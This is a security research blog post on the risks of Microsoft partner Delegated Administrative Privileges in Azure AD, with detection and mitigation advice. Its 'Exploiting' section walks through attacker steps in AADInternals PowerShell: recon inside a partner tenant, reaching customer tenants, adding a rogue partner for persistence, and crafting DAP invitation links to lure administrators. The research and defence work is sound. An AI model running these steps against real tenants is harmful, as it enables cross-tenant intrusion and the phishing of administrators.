In 2018, I blogged first time about risks related to Delegated Administrative Privileges (DAP) given to Microsoft partners. Now, in 2021, Microsoft blogged how NOBELIUM exploited DAP to compromise customers of some Microsoft partners.

In this blog, I’ll explain why DAP is so dangerous, how to exploit it, how to detect exploitation, and how to view partner related information with AADInternals v0.6.5.

Introduction

According to Microsoft documentation, partners has different types to choose from when working with their customers. In this blog, we are focusing on Delegated administrator partners.

Delegated Administrative Privileges (DAP) is a way to “outsource” administrative tasks to a Microsoft partner you trust. DAP can be included in a “contract” between a partner and a customer, which the partner offers and the customer accepts:

After the partner’s contract offer (including DAP) is accepted by the customer, the partner has rights to administer customer’s tenant. By default, partner will have two roles: Global administrator and Helpdesk admistrator. These roles can be assigned to users of the Partner organisation in Partner’s tenant. In Partner center, these roles are called Admin agent and Heldesk agent:

The problem here is that you can’t limit partner users’ access to a certain tenant. That means that after assigning for example the Admin agent role to user of Partner tenant, that user has Global administrator access to all customers of the parter!

Note: Microsoft announced in November 2021 granular delegated admin priviliges (GDAP) coming out in early 2022, which should address these issues.

From the customer point-of-view, this is a huge problem as customers don’t have access to partner organisations. In practice, the customer doesn’t know how many Global administrators they have. For instance, in a figure above, the Customer C can have any number of Global administrators from Partner A and B tenants. This alone is violating many data-protection laws, including GDPR.

So, what’s the big deal with the DAP then? Well, instead of trying to breach multiple organisations, threat actors can focus on breaching one partner organisation. After that, threat actors has open doors to all customer tenants of the partner.

Accessing partner information

Let’s next see how the partner information and relationships can be viewed in Partner and Customer tenants.

Partners

Partners can access all partner information at the Microsoft Partner Center at https://partner.microsoft.com/dashboard/home

Partner account identifiers

Partners can manage and view their partner IDs and locations at https://partner.microsoft.com/en-us/dashboard/account/v3/organization/identity

For the reasons unknown, this information (and all seen above) is available also for normal users, withouth admin permissions or rights to Microsoft Partner Center.

Note! This behaviour has been reported to Microsoft (and later publicly shared) earlier in 2021 by another individual.

Threat actors can’t use this information directly for attacks, but contains a lot of interesting intel for social engineering and phishing purposes..

To get the list of Partner locations with AADInternals:

# Get access token and save to cache
Get-AADIntAccessTokenForMSPartner -SaveToCache

# List the partner organisations
Get-AADIntMSPartnerOrganizations

id             : 9a0c7346-f305-4646-b3fb-772853f6b209
typeName       : Tenant
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
MPNID          : 8559543
companyName    : Partner Ltd
address        : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
contact        : @{firstName=Partner; lastName=Manager; email=pmanager@company.com; phoneNumber=+1 234567890}

id             : 60a0020f-bd16-4f27-a23c-104644918834
typeName       : PartnerGlobal
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
MPNID          : 8559542
companyName    : Partner Ltd
address        : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
contact        : @{firstName=Partner; lastName=Manager; email=pmanager@company.com; phoneNumber=+1 234567890}

id             : 297588a4-5c2a-430e-ae1e-b16c5d944a7d
typeName       : PartnerLocation
name           : Partner Ltd, US, PARTNERVILLE
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
MPNID          : 8559543
companyName    : Partner Ltd
address        : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
contact        : @{firstName=Partner; lastName=Manager; email=pmanager@company.com; phoneNumber=+1 234567890}

Customer list

The most important information for threat actors would be to know the customers of the tenant. To view customers, the type of relationship, and links to administer their services, just browse to https://partner.microsoft.com/en-us/dashboard/commerce2/customers/list

To access Microsoft Partner Center, the user must have been given permissions to use it.

However, luckily, the good old MSOnline PowerShell module have provided the same information since the beginning of times - without any admin rights or permissions to Microsoft Partner Center! This is now included also in AADInternals.

To view partner’s customers with AADInternals:

# Get access token and save to cache
Get-AADIntAccessTokenForAADGraph -SaveToCache 

# List the partner's customer organisations
Get-AADIntMSPartnerContracts

CustomerName     CustomerTenantId                     CustomerDefaultDomain   ContractType           
------------     ----------------                     ---------------------   ------------           
Company          dad33f16-69d1-4e32-880e-9c2d21aa3e59 company.com             SupportPartnerContract 
Contoso          936b7883-4746-4b89-8bc4-c8128795cd7f contoso.onmicrosoft.com ResellerPartnerContract
Adatum           17427dcd-8d61-4c23-9c68-d1f34975b420 adatum.com              SupportPartnerContract 

And voilà, there’s the list of organisations this partner can administer!

Customers

Customer’s admins can view the list of partners and remove their admin rights at https://admin.microsoft.com/Adminportal/Home?source=applauncher#/partners

Unfortunately, this information is not available for normal users.

To view partners with AADInternals:

# Get access token and save to cache
Get-AADIntAccessTokenForAdmin -SaveToCache

# List the partners
Get-AADIntMSPartners

Identity         : b1f6d5cc-f1d3-41d9-b88c-1d177aaf171b
DisplayName      : Partner Ltd
Email            : pmanager@company.com
Website          : http://www.company.com
Phone            : +1234567890
Relationship     : Indirect Reseller and Admin
TypeDetail       : PartnerAdmin
CanDelete        : False
CanRemoveDap     : True
AllDataRetrieved : True

Exploiting

Let’s jump to the shoes of threat actor: How can we exploit all what we have learned?

Finding a partner

First step for a threat actor is to find suitable partners to target. Microsoft has made this easy, as you can search for partners at AppSource portal.

AADInternals makes this even more easy:

# Find the first 20 MSP partners from Finland
Find-AADIntMSPartners -Country FI -MaxResults 20 -Services 'Managed Services (MSP)' | Sort CompanyName

Output:

Estimated total matches: 511

TenantId                             CompanyName                  Country Address                                    
--------                             -----------                  ------- -------                                    
b3665057-2eaa-4fa7-9f45-c4a17f405fb6 Atea Finland Oy              FI      @{country=FI; region=Europe; city=Vantaa...
cf36141c-ddd7-45a7-b073-111f66d0b30c Avanade Inc.                 FI      @{country=FI; region=Europe; city=Porkka...
12f4ed76-f694-4b1e-9b57-c3849eea3f6c CANORAMA OY AB               FI      @{country=FI; region=Europe; city=Seinäj...
72b4c351-3bb3-45f1-91e4-9b2b1364f0d8 Capgemini Finland Oy         FI      @{country=FI; region=Europe; city=ESPOO;...
bff3224c-767a-4628-8c53-23a4df13a03c CloudNow IT Oy               FI      @{country=FI; region=Europe; city=Vantaa...
e157e107-0a76-4b3d-ba88-fe07cc786112 Crayon Oy                    FI      @{country=FI; region=Europe; city=Helsin...
93f33571-550f-43cf-b09f-cd331338d086 DXC Technology Services LLC. FI      @{country=FI; region=Europe; city=Espoo;...
d11dbe02-4edd-4edf-882f-dc2431a03ada ELISA OYJ                    FI      @{country=FI; region=Europe; city=HELSIN...
028f2339-46fc-4134-a44a-e1412faa38eb Enfo Oyj                     FI      @{country=FI; region=Europe; city=Kuopio...
d944c18e-fb3f-4f60-bd8b-ce7a27ff9df9 Fujitsu Finland Oy           FI      @{country=FI; region=Europe; city=Helsin...
189de737-c93a-4f5a-8b68-6f4ca9941912 HCL TECHNOLOGIES LIMITED     FI      @{country=FI; region=Europe; city=Espoo;...
1d3bdd24-8ca7-4b5a-9984-6d3cd45ee2c4 Henson Group                 FI      @{country=FI; region=Europe; city=Tamper...
7c0c36f5-af83-4c24-8844-9962e0163719 Hexaware Technologies        FI      @{country=FI; region=Europe; city=Helsin...
99ebba89-0dd9-4b7b-8f23-95339d2a81e1 IBM                          FI      @{country=FI; region=Europe; city=Helsin...
f8407946-d2c1-4fcc-ae95-63723ace3665 IBM Nordcloud EMEA           FI      @{country=FI; region=Europe; city=Jyväsk...
0a4d4529-3bd8-41d2-bdbe-aa4634a1752b Infopulse Ukraine LLC        FI      @{country=FI; region=Europe; city=Helsin...
4b1f17f7-26f6-4624-a58c-2bc917bae8f3 Intercept                    FI      @{country=FI; region=Europe; city=Espoo;...
d975d022-a4d5-40ca-ba77-d6a8c8dbfe9b Midpointed Ltd               FI      @{country=FI; region=Europe; city=Helsin...
7bb1a8e5-59ee-489d-86f5-a50210ae3970 Solita Oy                    FI      @{country=FI; region=Europe; city=HELSIN...
779fd0ca-9067-49da-8991-9cde176b7f1d Tietokeskus Finland Oy       FI      @{country=FI; region=Europe; city=TAMPER...

Attacking partner’s customers

Next step is to get a foothold to a partner tenant. There are multiple techniques for this, such as phishing, brute-forcing, or on-prem attacks (Golden SAML).

At this point, any user account will do, as after getting the access, we can run AADInternals’ recon tool:

# Get accesstoken
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache

# Invoke the reconnaissance and save results to a variable
$results = Invoke-AADIntReconAsInsider

Tenant brand:                Company Ltd
Tenant name:                 company.onmicrosoft.com
Tenant id:                   6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
Azure AD objects:            520/500000
Domains:                     6 (4 verified)
Non-admin users restricted?  True
Users can register apps?     True
Directory access restricted? False
Directory sync enabled?      true
CA policies:                 8
MS Partner IDs:              8559542,8559543
MS Partner DAP enabled?      True
MS Partner contracts:        3
MS Partners:                 1

This reveals that we have indeed accessed a partner organisation, having 3 customers. We can now list the customers:

# List the customers
$recon.partnerContracts

CustomerName     CustomerTenantId                     CustomerDefaultDomain   ContractType           
------------     ----------------                     ---------------------   ------------           
Company          dad33f16-69d1-4e32-880e-9c2d21aa3e59 company.com             SupportPartnerContract 
Contoso          936b7883-4746-4b89-8bc4-c8128795cd7f contoso.onmicrosoft.com ResellerPartnerContract
Adatum           17427dcd-8d61-4c23-9c68-d1f34975b420 adatum.com              SupportPartnerContract 

Next step is to list users who has Admin Agent or Helpdesk Agent roles:

# List users with Admin Agent role
$recon.partnerRoleInformation | where Name -eq "Admin Agent" | select -ExpandProperty Members

displayName      userPrincipalName                    
-----------      -----------------                    
Admin User      admin@company.onmicrosoft.com
Diego Siciliani DiegoS@contoso.com
Alex Wilber     AlexW@contoso.com

And now we have found the target users!

The next step is to sign-in to the Microsoft Partner Center as the target user, or use MSOnline PowerShell module:

# Connect to partner tenant
Connect-MsolService

# Use any MSOnline cmdlet with -TenantId parameter!
Get-MsolCompanyInformation -TenantId dad33f16-69d1-4e32-880e-9c2d21aa3e59

You can also use most of the AADInternals functions:

# Get access token for the customer's tenant
Get-AADIntAccessTokenForAADGraph -SaveToCache -Tenant dad33f16-69d1-4e32-880e-9c2d21aa3e59

# Show company information
Get-AADIntCompanyInformation

AllowAdHocSubscriptions                  : true
AllowEmailVerifiedUsers                  : true
AuthorizedServiceInstances               : AuthorizedServiceInstances
AuthorizedServices                       : 
City                                     : 
CompanyDeletionStartTime                 : 
CompanyTags                              : CompanyTags
CompanyType                              : CompanyTenant
CompassEnabled                           : 
Country                                  : 
CountryLetterCode                        : US
DapEnabled                               : 
DefaultUsageLocation                     : 
DirSyncAnchorAttribute                   : mS-DS-ConsistencyGuid
DirSyncApplicationType                   : 1651564e-7ce4-4d99-88be-0a65050d8dc3
DirSyncClientMachineName                 : SERVER
DirSyncClientVersion                     : 1.4.38.0
DirSyncServiceAccount                    : Sync_SERVER1_xxxxxxxxxxx@company.onmicrosoft.com
DirectorySynchronizationEnabled          : true
DirectorySynchronizationStatus           : Enabled
DisplayName                              : Company Ltd
InitialDomain                            : company.onmicrosoft.com
LastDirSyncTime                          : 2020-08-03T15:29:34Z
LastPasswordSyncTime                     : 2020-08-03T15:09:07Z
MarketingNotificationEmails              : 
MultipleDataLocationsForServicesEnabled  : 
ObjectId                                 : 527e940d-2526-483b-82a9-d5b6bf6cc165
PasswordSynchronizationEnabled           : true
PortalSettings                           : PortalSettings
PostalCode                               : 
PreferredLanguage                        : en
ReleaseTrack                             : FirstRelease
ReplicationScope                         : NA
RmsViralSignUpEnabled                    : true
SecurityComplianceNotificationEmails     : 
SecurityComplianceNotificationPhones     : 
SelfServePasswordResetEnabled            : true
ServiceInformation                       : ServiceInformation
ServiceInstanceInformation               : ServiceInstanceInformation
State                                    : 
Street                                   : 
SubscriptionProvisioningLimited          : false
TechnicalNotificationEmails              : TechnicalNotificationEmails
TelephoneNumber                          : 1324567890
UIExtensibilityUris                      : 
UsersPermissionToCreateGroupsEnabled     : true
UsersPermissionToCreateLOBAppsEnabled    : true
UsersPermissionToReadOtherUsersEnabled   : true
UsersPermissionToUserConsentToAppEnabled : true
WhenCreated                              : 2019-07-14T07:03:20Z

Adding a new partner to compromised organisation

One way to achieve persistent access to already compromised organisation is to add a partner tenant that is controlled by the threat actor.

With Global admin level access to compromised organisation, AADInternals can be used to easily add new partners. You just need to know any domain name or tenant id of the partner.

# Get access token and save to cache
Get-AADIntAccessTokenForAdmin -SaveToCache

# Assign DAP for the given partner
Approve-AADIntMSPartnerDelegatedAdminRequest -Domain "partner.com"

responseCode message
------------ -------
success 

Compromising new customers

The example above requires Global administrator access to customer’s tenant. But what if we don’t have the needed access? The answer is to create a link for approving the partner offer and then lure target organisation administrator to accept that.

Again, all you need to know is any domain name or tenant id of the partner.

# Create the delegated admin request for the given partner tenant
New-AADIntMSPartnerDelegatedAdminRequest -TenantId c7e52a77-e461-4f2e-a652-573305414be9

https://admin.microsoft.com/Adminportal/Home?invType=Administration&partnerId=c7e52a77-e461-4f2e-a652-573305414be9#/BillingAccounts/partner-invitation

Now the link can be sent to any target organisations 😊

Detecting

Partner accessing customer organisation

Microsoft Partner Center and API access

If the partner is accessing customers services from the Microsoft Partner Center, the login event will be shown in customer’s sign-ins (interactive) log:

As we can see, the user name is actually “ technician”, and the last part of IP address is redacted. When the event is expanded, we can also see the actual user name:

In partner’s tenant, we can see the same event with the same Request ID:

Some events are also seen in customer’s sign-ins (non-interactive) log:

PowerShell access

If the parter (or threat actor) is using MSOnline PowerShell module, sign-in events are not logged anywhere! This means that threat actor can, for instance, dump the whole content of customer’s Azure Active Directory without a fear of getting caught 🤦‍

However, all modifications are logged normally to customer’s Audit logs:

Adding new partners

Whenever a new partner is added to the organisation, there will be an event in the Audit Logs:

Preventing/mitigating

Partner accessing customer organisation

Microsoft announced in November 2021 a new more granular DAP called GDAP, which will allow partners to have more granular and time-bound access to their customers. Microsoft Threat Intelligence Center (MSTIC) recommends partners to move using GDAP:

We highly recommend moving away from the current DAP model (which gives admin agents standing or perpetual global admin access) to a fine-grained delegated access model. The fine-grained delegated access model reduces the security risk to customers, and the impact on them as well. It also gives you control and flexibility to restrict access per customer at the workload level of your employees who are managing your customers’ services and environments.

While GDAP will reduce risk, it doesn’t remove it completely. The only way to prevent this is to get rid off all DAP permissions - which I urge everyone to do immediately!

But what does this mean in practice? According to Microsoft documentation:

You can remove admin roles from a partner at any time. Removing the admin roles doesn’t remove the partner relationship. They can still work with you in a different capacity, such as a Reseller. If you decide that you don’t want to work with a partner anymore, contact your partner to end the relationship.

This means that you can safely remove DAP roles, it has no effect on other type of relationships. However, as pointed by Petr Vlk (@Kazzan), DAP is required by Microsoft Office 365 Lighthouse, an admin portal for Managed Service Providers (MSPs) for managing at scale multiple SMB organisations.

My standpoint is always the security of customers, which overrules the business benefits of partners. Therefore, the correct (secure) way to give partners access to your tenant is to create them accounts that you manage.

Customer’s Global administrators can remove DAP at https://admin.microsoft.com/Adminportal/Home?source=applauncher#/partners:

To remove DAP with AADInternals as customer’s Global administrator:

# Get access tokens and save to cache
Get-AADIntAccessTokenForMSPartner -SaveToCache
Get-AADIntAccessTokenForAdmin -SaveToCache

# Remove DAP from all partners
Get-AADIntMSPartners | %{Remove-AADIntMSPartnerDelegatedAdminRoles -TenantId $_.Identity}

responseCode message
------------ -------
success 
success 
success 

Adding new partners

Only way to prevent this is to minimise the number or Global administrators, and/or allowing them to access Azure AD only from Pivileged Access Workstations (PAWs).

Summary

Delegated Administrative Privileges (DAP) are dangerous and out-dated way to give administrator access to your tenant for your partners or service providers.

Threat actors are targeting partner organisations as compromising a single partner tenant gives them access to all partner’s customers too.

I suggest all admins to remove all DAP permissions to secure their tenants. Removing DAP doesn’t remove the partner relationship, so it doesn’t affect any licensing contracts you may have. This does, however, remove all partner access via PowerShell and APIs, including Microsoft 365 Lighthouse.

If you need to give admin access to your partners, create a dedicated accounts for each partner (and user) to your tenant so that you can manage the accounts.

References

• Microsoft: NOBELIUM targeting delegated administrative privileges to facilitate broader attacks
• Microsoft: Manage partner relationships
• Microsoft: Delegated admin privileges in Azure AD
• Microsoft: Requirements for Microsoft 365 Lighthouse
• Microsoft: Overview of Microsoft 365 Lighthouse
• Microsoft: Coming in early 2022: granular delegated admin privileges (GDAP)
• Syynimaa, N. and Viitanen, T. (2018). Is My Office 365 GDPR Compliant? - Security Issues in Authentication and Administration. In Proceedings of the 20th International Conference on Enterprise Information Systems - Volume 2: ICEIS, ISBN 978-989-758-298-1; ISSN 2184-4992, pages 299-305.